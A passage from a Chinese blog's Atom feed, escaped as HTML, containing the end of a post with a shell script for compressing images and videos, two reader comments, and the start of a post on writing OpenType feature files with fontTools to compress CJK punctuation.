&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        convert&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -auto-orient -resize&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; 1024x1024&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; JPG:-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;                |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; jpegoptim&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; --quiet --strip-exif --size=100K&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $newf&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        cleanup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $f $newf&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; f &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(${&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;M&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;files&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;:#*&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;png&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;        local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; newf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;%%&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;png&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;-scaled&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;png&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        convert&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -resize&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; 1024x1024&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; PNG:-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; pngquant&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $newf&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        cleanup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $f $newf&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; f &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(${&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;M&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;files&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;:#*&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;mp4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;        local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; newf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;%%&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;mp4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;-crf31&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;webm&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        ffmpeg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -vf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; scale=iw&#x2F;2:ih&#x2F;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $newf&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        cleanup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $f $newf&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;compress-image-video
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;compress-image-video&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    



&lt;br &#x2F;&gt;
&lt;details open replies&gt;
    &lt;summary&gt;


两条评论：&lt;&#x2F;summary&gt;
    &lt;p&gt;注：点击昵称可以查看对评论的回复。&lt;&#x2F;p&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;o3o.ca&amp;#x2F;users&amp;#x2F;ghost&amp;#x2F;statuses&amp;#x2F;111760064016958532&quot;&gt;










河蚌&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot; translate=&quot;no&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; &lt;br &#x2F;&gt;图片现在我在用&lt;a href=&quot;http:&#x2F;&#x2F;i0.wp.com&#x2F;&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener noreferrer&quot; translate=&quot;no&quot;&gt;&lt;span class=&quot;invisible&quot;&gt;http:&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;&quot;&gt;i0.wp.com&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;invisible&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;a&gt; 来处理，虽然本质是cdn加速，但是也可以作为图床用了，也可以通过在链接尾部在参数来定制分辨率滤镜一系列。（除了不能删除外一切都好）&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mastodon.yuuta.moe&amp;#x2F;users&amp;#x2F;coelacanthus&amp;#x2F;statuses&amp;#x2F;111226637441486638&quot;&gt;










Coelacanthus 😶‍🌫️ 🏳️‍⚧️&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; ICC 规范图像的色彩如何映射到屏幕&#x2F;打印机的色彩（严格来讲还需要一个屏幕&#x2F;打印机的 ICC profile 才能完成，前者 ICC 将图像的色彩映射到 PCS，后者将 PCS 映射到屏幕&#x2F;打印机的色彩），如果移除它图像渲染软件就不知道如何正确映射色彩了，自然会偏色。&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;


&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>在字体层面处理标点挤压</title>
    <published>2023-03-27T23:17:01+01:00</published>
    <updated>2023-08-28T10:10:23+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/chws-fea/" type="text/html" />
    <id>https://emptystack.top/chws-fea/</id>
    <content type="html">
      &lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#%E6%A0%87%E7%82%B9%E6%8C%A4%E5%8E%8B&quot;&gt;我之前有提到这个博客的标点挤压是用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pandoc
filter +
CSS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;实现的。&lt;&#x2F;a&gt;那种方法表面看起来不错，但会在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上留下很多&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&amp;lt;span&amp;gt;——就像掀起一张美丽的地毯，发现下面全是小蜘蛛。呕，太可怕了。那有没有不包含小蜘蛛的方法？有：直接写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;OpenType&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;特性。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;做法&quot;&gt;做法&lt;&#x2F;h2&gt;
&lt;p&gt;写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;OpenType&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;特性最方便的途径是编写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;adobe-type-tools.github.io&#x2F;afdko&#x2F;OpenTypeFeatureFileSpecification.html#opentype-feature-file-specification&quot;&gt;OpenType
Feature
File&lt;&#x2F;a&gt;——它的语法没有名字，但一般人管它叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fea——然后用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fontTools&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把特性编译进字体文件里：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;vim&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; features.fea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # 编辑你想要的特性&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;fonttools&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; feaLib&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -o&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$OUTPUT_FONT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; features.fea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$INPUT_FONT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fea&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中可以用字的名字指代字，而不同字体的同一个字不一定有同一个名字&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;这里的“字”指字符还是字形我也拿不准，但大部分情况下它俩是双射的，因此不用分太细。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;所以我有必要声明下我用的字体是思源宋体
CN VF
2.001&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版。如果你不知道你想改的字体里每个字都叫什么，可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fontTools&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把字体的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Character
to Glyph Index Mapping
Table（cmap）转成人类可读的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;XML：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;ttx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; cmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -o&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; cmap.xml&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$INPUT_FONT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; cmap.xml&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# ……&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# &amp;lt;map code=&amp;quot;0x300a&amp;quot; name=&amp;quot;uni300A&amp;quot;&#x2F;&amp;gt;&amp;lt;!-- LEFT DOUBLE ANGLE BRACKET --&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# ……&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;知晓名字后就可以写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fea&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了！&lt;&#x2F;p&gt;
&lt;h3 id=&quot;连用标点&quot;&gt;连用标点&lt;&#x2F;h3&gt;
&lt;p&gt;回顾一下我在&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#%E5%8F%AA%E9%9C%80%E8%A6%81%E5%A4%84%E7%90%86%E5%BC%95%E5%8F%B7%E6%8B%AC%E5%8F%B7%E4%B9%A6%E5%90%8D%E5%8F%B7&quot;&gt;之前提到的挤压算法&lt;&#x2F;a&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;如果当前字符是“&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;之一：
&lt;ol&gt;
&lt;li&gt;&lt;s&gt;且该字符是字符串里的第一个字符——挤压该字符；&lt;&#x2F;s&gt;&lt;&#x2F;li&gt;
&lt;li&gt;且该字符前面是除&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;）以外的标点——挤压该字符；&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;如果当前字符是任意标点，且后面跟着&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;）之一——挤压该字符；&lt;&#x2F;li&gt;
&lt;li&gt;如果当前字符是&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;）之一，且后面跟着任意标点——挤压该字符。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fea&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中，出现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;字符紧接着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;b&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;字符时，挤压&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的命令是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pos a b &amp;lt;valuerecord&amp;gt;;&lt;&#x2F;code&gt;；挤压&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;b&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的命令是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pos a b&#x27; &amp;lt;valuerecord&amp;gt;;&lt;&#x2F;code&gt;&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;注意撇号&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。所以除去被划掉的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1.1，其他三条可以如下表达：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;fea&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;@open&lt;&#x2F;span&gt;&lt;span&gt; = [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  quoteleft&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  quotedblleft&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  uni&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;300A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; #《&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  uni&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;FF08&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; #（&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  uni&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;300C&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; #「&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;@close&lt;&#x2F;span&gt;&lt;span&gt; = [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  quoteright&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  quotedblright&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  uni&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;300B&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # 》&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  uni&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;FF09&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # ）&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  uni&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;300D&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # 」&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;@full&lt;&#x2F;span&gt;&lt;span&gt; = [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  uni&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;2E3A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # two em dash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  ellipsis&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;@other&lt;&#x2F;span&gt;&lt;span&gt; = [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  uni&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;FF0C&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # ，&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  uni&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;3002&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # 。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  uni&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;3001&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # 、&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
